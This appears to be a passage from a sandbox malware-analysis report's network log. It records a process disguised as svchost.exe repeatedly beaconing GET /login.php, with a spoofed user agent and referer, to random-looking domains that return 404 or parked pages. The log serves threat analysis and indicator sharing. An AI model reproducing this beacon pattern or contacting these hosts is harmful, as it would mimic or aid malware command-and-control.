                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.952462912 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                                    Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    11192.168.2.449743178.162.203.22680
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.525233984 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyfus.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    12192.168.2.449745154.212.231.82807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.443171024 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gadyniw.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.327904940 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:22 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 548
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.329132080 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gadyniw.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.699805021 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:22 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 548
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.564385891 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gadyniw.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.930068970 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:48 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 548
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.932655096 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gadyniw.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.308357954 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:49 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 548
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    13192.168.2.449747199.191.50.83807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.779959917 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: galyqaz.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:24.707961082 CET758INHTTP/1.1 302 Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:23 GMT
                                                                                                                                                                                                                    Server: Apache
                                                                                                                                                                                                                    Referrer-Policy: no-referrer-when-downgrade
                                                                                                                                                                                                                    Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                                    Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com")
                                                                                                                                                                                                                    Set-Cookie: vsid=908vr478892903411187757; expires=Sat, 10-Nov-2029 17:48:23 GMT; Max-Age=157680000; path=/; domain=galyqaz.com; HttpOnly
                                                                                                                                                                                                                    Location: //ww5.galyqaz.com
                                                                                                                                                                                                                    Content-Length: 0
                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.455770969 CET281OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: galyqaz.com
                                                                                                                                                                                                                    Cookie: vsid=908vr478892903411187757
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.823914051 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:48 GMT
                                                                                                                                                                                                                    Server: Apache
                                                                                                                                                                                                                    Referrer-Policy: no-referrer-when-downgrade
                                                                                                                                                                                                                    Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                                    Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com")
                                                                                                                                                                                                                    X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw==
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                    Data Raw: 31 38 62 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: 18b91<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.823971987 CET146INData Raw: 69 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64
                                                                                                                                                                                                                    Data Ascii: if(!("cmp_id" in window)||window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.823983908 CET1236INData Raw: 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f
                                                                                                                                                                                                                    Data Ascii: )){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824125051 CET1236INData Raw: 63 2e 70 75 73 68 28 66 2e 73 75 62 73 74 72 28 66 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c 61 6e 67 3d 22 29 2b 38 2c 32 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 65 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c 61
                                                                                                                                                                                                                    Data Ascii: c.push(f.substr(f.indexOf("cmplang=")+8,2).toUpperCase())}else{if(e.indexOf("cmplang=")!=-1){c.push(e.substr(e.indexOf("cmplang=")+8,2).toUpperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCa
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824140072 CET1236INData Raw: 2e 73 65 61 72 63 68 2e 73 75 62 73 74 72 28 64 2e 73 65 61 72 63 68 2e 69 6e 64 65 78 4f 66 28 69 29 2b 73 2c 39 39 39 39 29 7d 65 6c 73 65 7b 72 65 74 75 72 6e 20 65 7d 7d 69 66 28 77 2e 69 6e 64 65 78 4f 66 28 22 26 22 29 21 3d 2d 31 29 7b 77
                                                                                                                                                                                                                    Data Ascii: .search.substr(d.search.indexOf(i)+s,9999)}else{return e}}if(w.indexOf("&")!=-1){w=w.substr(0,w.indexOf("&"))}return w}var k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:locati
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824151993 CET1236INData Raw: 29 7b 74 3d 76 28 22 64 69 76 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 73 70 61 6e 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 69 6e 73 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3d 3d 30
                                                                                                                                                                                                                    Data Ascii: ){t=v("div")}if(t.length==0){t=v("span")}if(t.length==0){t=v("ins")}if(t.length==0){t=v("script")}if(t.length==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugun
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824165106 CET1236INData Raw: 6c 65 22 2c 22 6e 6f 6e 65 22 29 3b 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 22 2d 31 22 29 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 65 6c 73 65 7b 77 69 6e 64
                                                                                                                                                                                                                    Data Ascii: le","none");a.setAttribute("tabindex","-1");document.body.appendChild(a)}else{window.setTimeout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824565887 CET1236INData Raw: 74 63 66 63 61 22 2c 22 75 73 6e 61 74 22 2c 22 75 73 63 61 22 2c 22 75 73 76 61 22 2c 22 75 73 63 6f 22 2c 22 75 73 75 74 22 2c 22 75 73 63 74 22 5d 2c 63 6d 70 49 64 3a 33 31 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 70 70 73 74 75 62 3d 66
                                                                                                                                                                                                                    Data Ascii: tcfca","usnat","usca","usva","usco","usut","usct"],cmpId:31}};window.cmp_gppstub=function(){var a=arguments;__gpp.q=__gpp.q||[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:null;var e=a.length>2?a[2]:null;if(g==="ping"){return
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824579000 CET1236INData Raw: 62 2e 70 61 72 61 6d 65 74 65 72 2c 66 75 6e 63 74 69 6f 6e 28 68 2c 67 29 7b 76 61 72 20 65 3d 7b 5f 5f 63 6d 70 52 65 74 75 72 6e 3a 7b 72 65 74 75 72 6e 56 61 6c 75 65 3a 68 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c
                                                                                                                                                                                                                    Data Ascii: b.parameter,function(h,g){var e={__cmpReturn:{returnValue:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in c){var b=c.__uspapiCall;window.__uspapi(b.command,b.
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824590921 CET1236INData Raw: 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 28 61 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b
                                                                                                                                                                                                                    Data Ascii: tub=function(a){if(!(a in window)||(typeof(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"||window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window.addEventList
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.824604988 CET1236INData Raw: 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 67 61 6c 79 71 61 7a 2e 63
                                                                                                                                                                                                                    Data Ascii: ");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://galyqaz.com/sk-logabpstatus.php?a=VlFEaVNwbjIvVklFczMwb1hkcDh5Y2t2aGd0b04veTN4b1pPOFBjdDZqZzZzNmordVp6SjdRMmttTXhJTkJPQk5wdUo3T29UVU1mcEVORTNDMkE1Y0I4Rmd3MHY0VldPekRsY0dp


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    14192.168.2.44974876.223.26.96807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:27.990274906 CET300OUTGET / HTTP/1.1
